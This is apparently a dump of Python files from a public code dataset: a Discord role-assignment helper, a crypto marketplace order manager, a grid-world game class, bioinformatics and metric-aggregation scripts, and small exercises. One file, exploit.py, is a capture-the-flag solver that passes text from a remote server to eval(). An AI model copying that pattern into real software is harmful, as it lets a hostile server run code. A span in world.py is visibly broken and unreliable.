token }\n\t\tresp = discord.get(endpoint)\n\t\tif resp.status_code != 200:\n\t\t\tsession.pop('auth_token')\n\t\t\treturn None\n\n\t\tdata = resp.json()\n\t\tfor entry in data:\n\t\t\tif entry['type'] == 'twitch':\n\t\t\t\treturn entry['name']\n\t\treturn '__not_linked!'\n\ndef get_user():\n\ttoken = session.get('auth_token')\n\tif token is None:\n\t\tabort(401, 'null token in get_user')\n\n\twith make_session(token=token) as discord:\n\t\tendpoint = DISCORD_API_URL + '/users/@me'\n\t\tuser = discord.get(endpoint)\n\t\tif user.status_code == 401:\n\t\t\tsession.pop('auth_token')\n\t\t\tabort(401, 'discord rejected bearer token')\n\n\t\tdata = user.json()\n\t\treturn data['id']\n\ndef add_role():\n\tuser_id = get_user()\n\tif user_id is None:\n\t\tabort(400, 'unable to get a user id')\n\n\tendpoint = DISCORD_API_URL + '/guilds/{guild}/members/{user}/roles/{role}'.format(\n\t\tguild = app.config['GUILD'],\n\t\tuser = user_id,\n\t\trole = app.config['ROLE'])\n\n\ttoken = app.config['DISCORD_BOT_TOKEN']\n\theaders = {'Authorization': 'Bot %s' % token}\n\n\tresp = requests.put(endpoint, headers=headers)\n\tif resp.status_code != 204:\n\t\tabort(400, 'got a {code} adding role'.format(code=resp.status_code))\n\telse:\n\t\treturn True","repo_name":"foxbot/followerbridge","sub_path":"website/discord.py","file_name":"discord.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"15155657495","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom typing import List\n\nfrom sqlalchemy.orm import Session\n\nfrom api_service.api_service_producer import ApiServiceProducer\nfrom api_service.apps.crypto.models import Wallet\nfrom api_service.apps.crypto.schemas import TransactionCreate\nfrom api_service.apps.crypto.web3_clients import EthereumProviderClient\nfrom api_service.apps.product.database import ProductDatabase\nfrom api_service.apps.product.exceptions import (\n InvalidBalanceException,\n InvalidPriceException,\n InvalidProductException,\n InvalidWalletException,\n)\nfrom api_service.apps.product.models import Order, Product\nfrom api_service.apps.product.schemas import OrderCreate, ProductCreate\nfrom api_service.apps.users.models import User\nfrom api_service.config.storage import SqlAlchemyStorage\n\n\nclass ProductManager:\n def __init__(\n self,\n database: ProductDatabase,\n ethereum_provider: EthereumProviderClient,\n storage: SqlAlchemyStorage,\n api_service_producer: ApiServiceProducer,\n ):\n self.product_db = database\n self.ethereum_provider = ethereum_provider\n self.storage = storage\n self.api_service_producer = api_service_producer\n\n async def create_new_product(self, db: Session, product_create: ProductCreate) -> Product:\n if product_create.price <= 0:\n raise InvalidPriceException()\n product_create.image = await self.storage.upload(\n file=product_create.image,\n upload_to=\"ibay\",\n sizes=(150, 150),\n content_types=[\"png\", \"jpg\", \"jpeg\"],\n )\n product = await self.product_db.create_product(db, product_create)\n if not product:\n raise InvalidWalletException()\n message = {\n \"id\": str(product.id),\n \"image\": product.image,\n \"title\": product.title,\n \"price\": product.price,\n \"wallet\": {\n \"address\": product.wallet.address,\n },\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"new_product_exchange\",\n message=message,\n )\n return product\n\n async def get_all_products(self, db: Session) -> List[Product]:\n return await self.product_db.get_products(db)\n\n async def create_new_order(self, db: Session, order_create: OrderCreate, user: User) -> Order:\n product = await self.product_db.get_product(db, order_create.product_id)\n if not product or product.is_sold:\n raise InvalidProductException()\n try:\n wallet = [wallet for wallet in user.wallets if wallet.id == order_create.wallet_id][0]\n if wallet.balance < product.price:\n raise InvalidBalanceException()\n except IndexError:\n raise InvalidWalletException()\n\n await self.product_db.update_wallet_balance(db, wallet, product.price)\n transaction_create = TransactionCreate(\n address_from=wallet.address,\n address_to=product.wallet.address,\n value=product.price,\n )\n txn_hash = await self.ethereum_provider.send_raw_transaction(transaction_create, wallet)\n\n await self.product_db.update_is_sold_product_status(db, product.id)\n order = await self.product_db.create_order(db, txn_hash, str(product.id), wallet.address)\n message = {\n \"id\": str(order.id),\n \"product\": {\n \"id\": str(order.product.id),\n \"image\": order.product.image,\n \"title\": order.product.title,\n \"price\": order.product.price,\n },\n \"txnHash\": order.txn_hash,\n \"date\": datetime.datetime.strptime(str(order.date), \"%d.%m.%Y %H:%M\").strftime(\"%d.%m.%Y %H:%M\"),\n \"status\": \"NEW\",\n \"buyerAddress\": order.buyer_address,\n \"txnHashReturn\": None,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"new_order_exchange\",\n message=message,\n )\n return order\n\n async def get_users_orders(self, db: Session, wallets: List[Wallet]) -> List[Order]:\n addresses = [wallet.address for wallet in wallets]\n return await self.product_db.get_orders(db, addresses)\n\n async def update_order_by_id(self, db: Session, order: dict) -> Order:\n return await self.product_db.update_order_by_id(db, order)\n\n async def handle_order_failed(self, db: Session, order: dict):\n updated_order = await self.update_order_by_id(db, order)\n order_txn = await self.product_db.get_transaction(db, updated_order.txn_hash)\n updated_value = order_txn.value - (order_txn.txn_fee * 1.5)\n\n transaction_create = TransactionCreate(\n address_from=updated_order.product.wallet.address,\n address_to=updated_order.buyer_address,\n value=updated_value,\n )\n txn_hash = await self.ethereum_provider.send_raw_transaction(transaction_create, updated_order.product.wallet)\n await self.product_db.update_wallet_balance(db, updated_order.product.wallet, updated_value)\n\n updated_order.status = \"RETURN\"\n updated_order.txn_hash_return = txn_hash\n await self.product_db.update_order(db, updated_order)\n\n order_return_message = {\n \"order\": str(updated_order.id),\n \"status\": \"RETURN\",\n \"txnHashReturn\": txn_hash,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"order_return_exchange\",\n message=order_return_message,\n )\n\n txn_return_message = {\n \"address_from\": updated_order.product.wallet.address,\n \"value\": updated_value,\n \"txn_hash\": txn_hash,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"txn_return_exchange\",\n message=txn_return_message,\n )\n","repo_name":"Rey092/CrytpoWalletTest","sub_path":"api_service/apps/product/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72301450692","text":"from mystery_rewrite.cell import Cell\nfrom mystery_rewrite.direction import Direction\n\nfrom mystery_rewrite._utils import List\n\nclass World(object):\n def __init__(self, rows, cols):\n self.rows = rows\n self.cols = cols\n\n self.cells = List(\n [ [ Cell() for _ in range(self.cols) ] for _ in range(self.rows) ])\n\n # In order to avoid costly world search, we use a dict with the locations.\n # Maps object to location.\n # Location could be the agent as well.\n self.targets = dict()\n self.objects = dict()\n\n def __getitem__(self, idx):\n if isinstance(idx, tuple) and len(idx) == 1:\n idx = (idx[0] // self.cols, idx[0] % self.cols)\n return self.cells[idx]\n\n def __repr__(self):\n s = f'World end_col:\n start_col, end_col = end_col, start_col\n end_col = min(end_col, self.cols)\n\n for col in range(start_col, end_col + 1):\n self.cells[row, col].set_wall(loc)\n\n def add_vwall(self, start_row, end_row, col, loc='both'):\n assert loc in ['both', Direction.E, Direction.W]\n if loc == 'both':\n self.add_vwall(start_row, end_row, col, loc=Direction.W)\n self.add_vwall(start_row, end_row, col, loc=Direction.E)\n return\n\n if col < 0:\n col = self.cols + col\n if start_row < 0:\n start_row = self.rows + start_row\n if end_row < 0:\n end_row = self.rows + end_row\n if start_row > end_row:\n start_row, end_row = end_row, start_row\n end_row = min(end_row, self.rows)\n\n for row in range(start_row, end_row + 1):\n self.cells[row, col].set_wall(loc)\n\n def add_enclosure(self):\n self.add_hwall(0, 0, -1, loc=Direction.N)\n self.add_hwall(-1, 0, -1, loc=Direction.S)\n self.add_vwall(0, -1, 0, loc=Direction.E)\n self.add_vwall(0, -1, -1, loc=Direction.W)\n\n #################\n # Movable objects\n def add_target(self, row, col, *target):\n \"\"\"Adds a target to the cell and to the targets dict\"\"\"\n self.cells[row, col].add_target(*target)\n for t in target:\n self.targets[t] = (row, col)\n\n def has_target(self, row, col, tgt):\n return tgt in self.cells[row, col].targets\n\n def remove_target(self, target):\n \"\"\"Removes the target from the targets dicts and from the cell\"\"\"\n row, col = self.targets.pop(target)\n self.cells[row, col].remove_target(target)\n\n def pop_targets(self, row, col):\n \"\"\"Takes all the targets from the cells\"\"\"\n tgts = list(self.cells[row, col].targets)\n self.cells[row, col].clear_objects()\n return tgts\n\n ###################\n # Immovable objects\n def add_object(self, row, col, *obj):\n \"\"\"Adds an object to a cell\"\"\"\n self.cells[row, col].add_object(*obj)\n for o in obj:\n self.objects[o] = (row, col)\n","repo_name":"z-a-f/Mystery-Game","sub_path":"mystery_rewrite/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"25554651255","text":"#This script aggregates the scores outputted by expriments.py\n\nimport os\nimport numpy as np\nimport sys\n\nROCAUCfolder = \"ROCAUCs/\" #Unavoids AUC scores\nCOMPfolder = \"Comps/\" #Comparison algorithm AUC scores\n\ntransformation = \"none\" #indicates wether to aggregate transformation scores or not\n\ncomps = [\"LOF1: \",\"LOF2: \",\"FastABOD:\",\"Iso_For:\"]\nmethods = [\"r=0.01: \\t\", \"r=0.02: \\t\", \"r=0.04: \\t\", \"r=0.08: \\t\", \"r avg: \\t\", \"all avg:\\t\", \"hist: \\t\", \"hist 2 :\\t\"]\nps = [\"0.0078125\",\"0.015625\", \"0.03125\", \"0.0625\",\"0.125\",\"0.25\",\"0.5\", \"1\", \"2\",\"4\",\"np.inf\",\"max\"]\nPis = [\"0.001\", \"0.002\", \"0.004\", \"0.008\", \"0.016\", \"0.032\", \"0.064\", \"0.128\",\"0.256\",\"full\"]\n\nsubdirs = sorted(os.listdir(ROCAUCfolder), key=lambda elem: int(elem)) #list subdirs in order of window size\n\nfpe = open(\"ErrorAggregate.txt\",\"w+\") #output errors\nfpo = open(\"AUCs_\"+transformation+\".txt\", \"w+\")\nfor sub_n, subfolder in enumerate(subdirs): #for each Window size\n\n K = np.zeros((6,)) #keep track of number of files processed for each pi\n AUCs = np.zeros((6,12,8,1)) #pi axis, norm axis, method axis, score axis\n COMPs = np.zeros((6,4,1)) #pi axis, method axis, score axis\n\n progress=0\n\n for UNAVOIDSresult in os.listdir(ROCAUCfolder+subfolder): #for each results file\n\n Pi_ind = int(UNAVOIDSresult.split(\"_\")[1]) #get pi param index\n\n if (Pi_ind > 5): #do not use pi larger then 0.32\n continue\n\n if UNAVOIDSresult.split(\"_\")[2] != transformation: #use file if it matches transformation setting, otherwise skip\n continue\n\n fpU = open(ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult, \"r\") #open file \n unavoids_rows = fpU.read().split(\"\\n\") #read rows as list of rows\n fpU.close()\n\n #check file integrity\n if len(unavoids_rows) != 122:\n fpe.write(\"Error: \"+ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult+\":\\tincorrect number of rows in UNAVOIDS scores\\n\")\n continue\n cont = False\n for row_n, row in enumerate(unavoids_rows):\n if row_n in [0,9,10,19,20,29,30,39,40,49,50,59,60,69,70,79,80,89,90,99,100,109,110,119,120,121]:\n continue\n if len(row.split(\",\")) != 2:\n cont = True\n if cont == True:\n fpe.write(\"Error: \"+ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult+\":\\tincorrect number of columns in UNAVOIDS scores\\n\")\n continue\n \n #Get LOF, ABOD, and Isolation Forest scores for corresponding pi and window size\n COMPresult = UNAVOIDSresult.split(\"_R\")[0] + \"_COMPs\" #get comp results file name\n try:\n fpC = open(COMPfolder+subfolder+\"/\"+COMPresult, \"r\") #open LOF file\n except:\n fpe.write(\"Error: \"+COMPfolder+subfolder+\"/\"+COMPresult+\":\\tfile not found\"+\"\\n\")\n continue\n comps_rows = fpC.read().split(\"\\n\") #read rows as list of rows\n fpC.close()\n\n #check file integrity\n if len(comps_rows) != 5:\n fpe.write(\"Error:\"+ROCAUCfolder+subfolder+\"/\"+COMPresult+\":\\tincorrect number of rows in comparison scores\\n\")\n print(\"not 5 rows\")\n continue\n cont = False\n for n_row, row in enumerate(comps_rows[:-1]):\n if len(row.split(\": \")) != 2:\n cont = True\n if cont == True:\n fpe.write(\"Error:\"+ROCAUCfolder+subfolder+\"/\"+COMPresult+\":\\tincorrect number of columns in comparison scores\\n\")\n continue\n\n K[Pi_ind]+=1 #increment counter for current value of pi\n\n curCOMPs = np.zeros((4,1)) #method axis, score axis\n curAUCs = np.zeros((12,8,1)) #norm axis, method axis, score axis\n\n #extract comparison scores\n for n, row in enumerate(comps_rows[:-1]):\n curCOMPs[n] = [np.float(i) for i in row.split(\":\")[1:]]\n\n\n #get UNAVOIDS scores\n for I in range(len(ps)):\n for n, row in enumerate(unavoids_rows[(I*10)+1:(I*10)+9]):\n for m, col, in enumerate(row.split(\",\")[1:]):\n curAUCs[I, n, m] = float(col)\n\n AUCs[Pi_ind] += curAUCs #aggregate scores for current pi for UNAVOIDS\n COMPs[Pi_ind] += curCOMPs #aggregate scores for current pi for LOFS\n\n progress+=1\n if progress % 50 == 0:\n print(\"-\",progress)\n\n\n #output results to text file\n for Pi_n, Pi_str in enumerate(Pis) :\n \n fpo.write(\"\\n\\n____________________________________________________________\\n\")\n fpo.write(\"\\n############################################################\\n\")\n fpo.write(\"\\tPi = \"+Pi_str)\n\n fpo.write(\"\\n\\n____________________________________________________________\\n\")\n fpo.write(subfolder+\"\\n\")\n\n #write comparison average AUCs\n for n, row in enumerate(COMPs[Pi_n]/K[Pi_n]): #average over number of files found for each pi\n fpo.write(comps[n]+\"\\t\")\n for col in row:\n fpo.write(str(col).ljust(20, ' ')+\" \")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n\n #write UNVAOIDS average AUCs\n fpo.write(\"UNAVOIDS\\n\")\n for n, page in enumerate(AUCs[Pi_n]):\n fpo.write(\"p = \"+ps[n]+\"\\n\")\n for m, row in enumerate(page/K[Pi_n]): #average over number of files found for each pi\n fpo.write(methods[m])\n for col in row:\n fpo.write(str(col).ljust(20, ' ')+\" \")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n\nfpo.close()\nfpe.close()\n","repo_name":"isotlaboratory/UNAVOIDS-Code","sub_path":"Code/aggregate.py","file_name":"aggregate.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"30050047524","text":"# Магическим квадратом порядка n называется квадратная таблица размера n×n, так, что суммы по каждому столбцу, каждой\n# строке и каждой из двух диагоналей равны между собой. Программа проверяет, является ли заданная квадратная матрица\n# магическим квадратом.\n\ndef magic_square_check(matrix, summa): # Функция проверки является ли матрица магически квадратом\n global flag\n diagonal = 0\n for i in range(n):\n if sum(matrix[i]) != summa: # Проверка равна ли каждая строка параметру summa\n flag = 'NO'\n break\n for j in range(n):\n if i == j:\n diagonal += matrix[j][i]\n if diagonal != summa: # Проверка равна ли главная диагональ параметру summa\n flag = 'NO'\n return flag\n\n\nn = int(input()) # Размерность матрицы\nmatrix = [[int(i) for i in input().split()] for _ in range(n)] # Ввод матрицы\ncheck_sequences = [i for i in range(1, n * n + 1)] # Список для проверки элементов матрицы на соответстие 1,2,3...n^2\nrotate_matrix = [] # Заготовка перевернутой матрицы\nsumma = sum(matrix[0]) # Сумма элементов первой строки матрицы\nflag = 'YES' # Признак наличия магического квадрата\n\nfor i in range(n): # Перевертывание матрицы на 90 градусов и проверка элементов на соответстие 1,2,3...n^2\n row = []\n for j in range(n):\n row.append(matrix[j][i])\n if matrix[i][j] in check_sequences:\n check_sequences.remove(matrix[i][j])\n else:\n flag = 'NO'\n break\n if flag == 'NO':\n break\n rotate_matrix.append(row[::-1])\n\nif flag == 'YES':\n magic_square_check(matrix, summa) # Вызов функции проверки является ли матрица магическим квадратом\n magic_square_check(rotate_matrix, summa) # Вызов функции проверки является ли перевернутая матрица маг. квадратом\n\nprint(flag) # Вывод флага является ли матрица магическим квадратом YES или NO\n","repo_name":"AlexVHub/Python_Learning","sub_path":"Матрицы/Магический квадрат.py","file_name":"Магический квадрат.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"32392437573","text":"#!/usr/bin/python3\n# netcat_lib is the server file from https://gist.github.com/leonjza/f35a7252babdf77c8421\nfrom netcat_lib import Netcat as NetCat\n\n\nnc = NetCat(input(\"IP: \"), int(input(\"Port: \")))\nnc.read_until(b'Try ')\n\nfor i in range(100):\n print(nc.read_until(b'Try '))\n request = nc.read_until(b'\\n')\n request = request.decode('utf-8')\n response = eval(request)\n response = str(response).encode('utf-8')\n nc.write(response)\n\nprint(nc.read().decode('utf-8'))\n","repo_name":"Poison-Berries/junior-course-tasks","sub_path":"ppc/2021-NetCat_maths/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36763362163","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Problem\n# \n# Write a program to find the node at which the intersection of two singly linked lists begins.\n# \n# Notes:\n# \n# If the two linked lists have no intersection at all, return null.
    \n# The linked lists must retain their original structure after the function returns.
    \n# You may assume there are no cycles anywhere in the entire linked structure.
    \n# Your code should preferably run in O(n) time and use only O(1) memory.\n\n# # Brainstorm\n# \n# The challenge is that the number of nodes before intersection for the two lists might be different. So we can't iterate the two lists together from the beginning.\n\n# # Solution 1\n\n# In[ ]:\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def getIntersectionNode(self, headA, headB):\n if not headA or not headB:\n return None\n \n A_length = self.get_length(headA)\n B_length = self.get_length(headB)\n \n currA = headA\n currB = headB\n \n if A_length > B_length:\n diff = A_length - B_length\n # Iterate A until diff is 0\n while diff > 0:\n currA = currA.next\n diff -= 1\n\n elif B_length > A_length:\n diff = B_length - A_length\n while diff > 0:\n currB = currB.next\n diff -= 1\n \n # Iterate both list\n while currA and currB:\n if currA == currB:\n return currA\n currA = currA.next\n currB = currB.next\n \n return None\n \n def get_length(self, head):\n curr = head\n length = 0\n while curr:\n length += 1\n curr = curr.next\n return length \n\n","repo_name":"shanminlin/Leetcode","sub_path":"linked_list/one_way/160. Intersection of Two Linked Lists.py","file_name":"160. Intersection of Two Linked Lists.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"72262883974","text":"#!/usr/bin/env python\n\n'''\ngiven a SORTED file containing uniqued lines (see preprocess_radtag_lane.py) with cluster and node label prepended\ncomputes multiple alignments across all cluster sequences and outputs SAM formatted alignments taking the most prevalent longest sequence as reference.\n'''\n\nimport os, sys, re\n\nimport musclemap\n\nfrom collections import defaultdict\nfrom config import RTDROOT\n\ndef next_cluster_lines(fh):\n this_cl = None\n cl_lines = []\n for l in fh:\n if l.split()[0] != this_cl:\n if this_cl is not None:\n return cl_lines\n else:\n this_cl = l.split()[0]\n cl_lines.append(l)\n else:\n cl_lines.append(l)\n\n\n\ndef samline_from_alnpair(rname,raln,qname,qaln,qqual):\n if set(qqual) == set(['#']):\n return None\n \n leader,qseq = re.search('^(-*)(.*?)$',qaln).groups()\n\n pos = len(leader)+1\n\n cigar = []\n nm = 0\n md = []\n qi = 0\n for r,q in zip(raln[len(leader):].upper(),qseq.rstrip('-').upper()):\n if q != '-':\n qq = qqual[qi]\n qi += 1\n else:\n qq = None\n if qq == '#' or q == 'N' or r =='N':\n cigar.append('S')\n elif r in ['A','C','G','T'] and q in ['A','C','G','T']:\n cigar.append('M')\n if r != q:\n nm += 1\n md.append(r)\n else:\n md.append(1)\n elif r == '-' and q == '-':\n cigar.append('P')\n elif r == '-':\n cigar.append('I')\n nm += 1\n elif q == '-':\n cigar.append('D')\n nm += 1\n md.append('^'+r)\n\n #print ''.join(cigar)\n\n if 'S' in ''.join(cigar).strip('S'):\n return None\n\n #figure out cigar\n ccnt = 1\n cli = []\n cstate = None\n for c in cigar:\n if cstate == c:\n ccnt += 1\n else:\n if cstate is not None:\n cli.append('%d%s' % (ccnt,cstate))\n cstate = c\n ccnt = 1\n\n \n\n cli.append('%d%s' % (ccnt,cstate))\n cstr = ''.join(cli)\n\n\n #figure out md\n mdli = []\n mddel = []\n mdcnt = 0\n for c in md+['A']:\n if isinstance(c,int):\n mdcnt += c\n if len(mddel) > 0:\n mdli.append('^'+(''.join(mddel)))\n mddel = []\n else:\n if mdcnt:\n mdli.append(str(mdcnt))\n mdcnt = 0\n if c.startswith('^'):\n mddel.append(c[1:])\n else:\n if len(mddel) > 0:\n mdli.append('^'+(''.join(mddel)))\n mddel = []\n mdli.append(c)\n \n\n mdstr = ''.join(mdli[:-1])\n if mdstr == '':\n mdstr = '0'\n\n return '\\t'.join([qname,'0',rname,str(pos),'30',cstr,'*','0','0',qaln.replace('-',''), qqual, 'NM:i:%s\\tMD:Z:%s' % (nm,mdstr)])\n\n\n\ndef ref_seq_from_clust(clname,cl_aln):\n \n ref_seq = cl_aln[0][1].replace('-','')\n fa_str = '>%s\\n%s\\n' % (clname,ref_seq)\n\n return fa_str\n\ndef indiv_in_clust(cl_lines,rep_cut = 0):\n\n if isinstance(cl_lines[0],str):\n cl_lines = [l.strip().split() for l in cl_lines]\n \n ind_cts = defaultdict(int)\n for l in cl_lines:\n for ind,ct in zip( l[5].split(','), [int(i) for i in l[6].split(',')] ):\n if ct >= rep_cut:\n ind_cts[ind] += ct\n\n return ind_cts\n \n\ndef aln_from_clust(clname,cl_lines,keep_seqs=None,seq_len=0,break_on_error=True):\n\n if isinstance(cl_lines[0],str):\n cl_lines = [l.strip().split() for l in cl_lines]\n\n \n if keep_seqs is not None and len(cl_lines) > keep_seqs:\n orig_ind_ct = indiv_in_clust(cl_lines)\n orig_ind = len(indiv_in_clust(cl_lines))\n orig_len = len(cl_lines)\n cl_lines.sort(key = lambda l: (len(l[5].split(',')),sum([int(i) for i in l[6].split(',')]), len(l[2])),reverse=True)\n cl_lines = cl_lines[:keep_seqs]\n now_ind = len(indiv_in_clust(cl_lines))\n now_len = len(cl_lines)\n drop_indiv = set(orig_ind_ct.keys()) - set(indiv_in_clust(cl_lines).keys())\n #summarize!\n print >> sys.stderr, '\\tcluster %s abbreviated: orig %s lines, %s indiv now %s lines, %s indiv (dropped: %s)' % \\\n (clname, orig_len, orig_ind, now_len, now_ind,[(ind,orig_ind_ct[ind]) for ind in drop_indiv])\n\n cl_seqs = [l[2] for l in cl_lines]\n cl_nodes = [l[1] for l in cl_lines]\n #20110919 qscore translation functionality moved to get_uniqued_lines_by_cluster.py\n cl_quals = [l[4] for l in cl_lines]\n\n if seq_len != 0: #truncate sequences\n cl_seqs = [s[:seq_len] for s in cl_seqs]\n cl_quals = [s[:seq_len] for s in cl_quals]\n\n lastnode = None\n cl_node_ids = []\n for node in cl_nodes:\n if node != lastnode:\n ct = 0\n lastnode = node\n else:\n ct += 1\n cl_node_ids.append('%s.%03d' % (node,ct))\n try:\n cl_aln = sorted( zip( cl_node_ids, \\\n musclemap.muscle(cl_seqs,1), \\\n cl_quals, \\\n [zip( l[5].split(','), [int(i) for i in l[6].split(',')] ) for l in cl_lines] ) , \\\n key=lambda x: (len(x[1].replace('-','').replace('N','')),len(x[3]),len(x[2].replace('#',''))),reverse=True)\n except:\n print >> sys.stderr, 'alignment failed for cluster %s (%s lines)' % (clname,len(cl_lines))\n if break_on_error:\n raise\n else:\n print >> sys.stderr, '--skip_errors requested; proceeding'\n return None\n\n return cl_aln\n\n\ndef write_sam_from_aln(clname,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh):\n\n raln = cl_aln[0][1]\n\n #sbfh = open(samfile+'.body','w')\n #rofh = open(ref_fasta_file,'w')\n\n rseq = ref_seq_from_clust(clname,cl_aln)\n ref_fh.write(rseq)\n\n #headers (@SQ lines)\n headline = '@SQ\\tSN:%s\\tLN:%s\\n' % (clname,len(cl_aln[0][2]))\n samheader_fh.write(headline)\n\n #body\n for qname,qaln,qqual,inds_cts in cl_aln:\n\n samline = samline_from_alnpair(clname,raln,qname,qaln,qqual)\n if samline is None: continue\n samfields = samline.split()\n rg_lane = qname.split('.')[1]\n #try:\n # if any([len(el) != 2 for el in inds_cts]):\n # print inds_cts\n #except:\n # print cl_aln\n for ind,ct in inds_cts:\n rg = '%s_%s' % (ind,rg_lane)\n rg_dict[rg] = ind\n for i in range(ct):\n this_samline = '\\t'.join([samfields[0]+'.%s.%04d' % (ind,i)] + samfields[1:])\n sambody_fh.write('%s\\tRG:Z:%s\\n' % (this_samline,rg))\n\ndef calc_cluster_dirt(cl_lines):\n\n cl_ind_ct = defaultdict(list)\n for l in cl_lines:\n f = l.split()\n for ind,ct in zip(f[5].split(','),f[6].split(',')):\n cl_ind_ct[(ind,f[1].split('.')[1])].append(int(ct))\n \n totct = sum([sum(v) for v in cl_ind_ct.values()])\n dirtct = sum([sum(sorted(v,reverse=True)[2:]) for v in cl_ind_ct.values()])\n ctdirt = dirtct/float(totct)\n\n return ctdirt\n\nif __name__ == '__main__':\n\n import argparse\n\n ds = ' [%(default)s]'\n #create command line parser\n parser = argparse.ArgumentParser(description='generates SAM/BAM by multiple alignment within graph clusters')\n\n parser.add_argument('-d','--clust_dirt_max',default=0.10,type=float,help='cluster \"dirt\" threshold for processing (see documentation)'+ds)\n parser.add_argument('-i','--min_indiv',default=20,type=int,help='minimum number of individuals with at least one sequence in a cluster to include cluster'+ds)\n parser.add_argument('-k','--keep_seqs',default=100,type=int,help='only retain this many sequences for processing'+ds)\n parser.add_argument('-l','--seq_len',default=0,type=int,help='arbitrarily truncate sequences in SAM/BAM output at this length if not 0'+ds)\n\n parser.add_argument('-cs','--calc_only',action='store_true',help='calculate cluster statistics at supplied thresholds; do not generate alignments'+ds)\n parser.add_argument('-s','--skip_errors',action='store_true',help=''+ds)\n \n parser.add_argument('cluniq',help='sorted .cluniq file containing cluster-associated unique sequences')\n parser.add_argument('fbase',help='basename for output files')\n\n opts = parser.parse_args()\n\n cluniq = opts.cluniq\n fbase = opts.fbase\n clust_dirt_max = opts.clust_dirt_max\n min_indiv = opts.min_indiv\n keep_seqs = opts.keep_seqs\n seq_len = opts.seq_len\n \n fdir = os.path.dirname(fbase)\n\n try:\n os.makedirs(fdir)\n except:\n pass\n\n if opts.skip_errors:\n break_on_error = False\n print >> sys.stderr, 'skip_errors invoked; problem clusters will be skipped entirely'\n else:\n break_on_error = True\n print >> sys.stderr, 'skip_errors not set; problem clusters will halt analysis'\n\n fh = open(cluniq)\n if not opts.calc_only:\n samheader_fh = open(fbase+'.sam.header','w')\n sambody_fh = open(fbase+'.sam.body','w')\n ref_fh = open(fbase+'.fa','w')\n clstats_fh = open(fbase+'.clstats','w')\n\n rg_dict = {}\n\n this_cl = None\n cl_lines = []\n\n cl_on = 0\n for l in fh:\n if l.split()[0] != this_cl:\n if this_cl is not None:\n cl_dirt = calc_cluster_dirt(cl_lines)\n cl_indiv = len(indiv_in_clust(cl_lines))\n clstats_fh.write('%s\\t%s\\t%s\\t%s\\n' % (this_cl,len(cl_lines),cl_indiv,cl_dirt))\n if cl_on % 100 == 0: print >> sys.stderr, '%s\\tcluster: %s\\tunique seqs: %s\\tindiv: %s\\tdirt: %s' % (cl_on,this_cl,len(cl_lines),cl_indiv,cl_dirt)\n if not opts.calc_only and cl_dirt < clust_dirt_max and cl_indiv >= min_indiv: \n cl_aln = aln_from_clust(this_cl,cl_lines,keep_seqs,seq_len,break_on_error)\n write_sam_from_aln(this_cl,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh)\n\n cl_on += 1\n this_cl = l.split()[0]\n cl_lines = []\n cl_lines.append(l)\n\n clstats_fh.write('%s\\t%s\\t%s\\t%s\\n' % (this_cl,len(cl_lines),cl_indiv,cl_dirt))\n if not opts.calc_only:\n cl_aln = aln_from_clust(this_cl,cl_lines,keep_seqs)\n if cl_aln is not None and calc_cluster_dirt(cl_lines) < clust_dirt_max and len(indiv_in_clust(cl_lines)) >= min_indiv:\n write_sam_from_aln(this_cl,cl_aln,rg_dict,samheader_fh,sambody_fh,ref_fh)\n\n clstats_fh.close()\n os.system(os.path.join(RTDROOT,'plot_error.py %s > %s' % (fbase+'.clstats',fbase+'.clstats.cdest' )))\n \n #finish headers (@RG lines)\n if not opts.calc_only:\n if len(rg_dict) == 0:\n print >> sys.stderr, 'readgroup dict is empty; no individuals included in final dataset. Check number of individuals and cluster dirt cutoffs and re-run'\n print >> sys.stderr, 'close output files ...',\n samheader_fh.close()\n sambody_fh.close()\n ref_fh.close()\n print >> sys.stderr, 'done.\\nremove output files ...',\n os.unlink(samheader_fh.name)\n os.unlink(sambody_fh.name)\n os.unlink(ref_fh.name)\n print >> sys.stderr, 'done' \n sys.exit(1)\n\n\n for rg in rg_dict:\n headline = '@RG\\tID:%s\\tPL:Illumina\\tLB:%s\\tSM:%s\\n' % (rg,rg_dict[rg],rg_dict[rg])\n samheader_fh.write(headline)\n\n samheader_fh.close()\n sambody_fh.close()\n ref_fh.close()\n\n print >> sys.stderr, 'index reference'\n os.system('samtools faidx %s.fa' % (fbase))\n print >> sys.stderr, 'add headers and sort'\n os.system('cat %s.sam.header %s.sam.body | samtools view -bS - | samtools sort - %s' % (fbase,fbase,fbase))\n print >> sys.stderr, 'index bam'\n os.system('samtools index %s.bam' % (fbase))\n print >> sys.stderr, 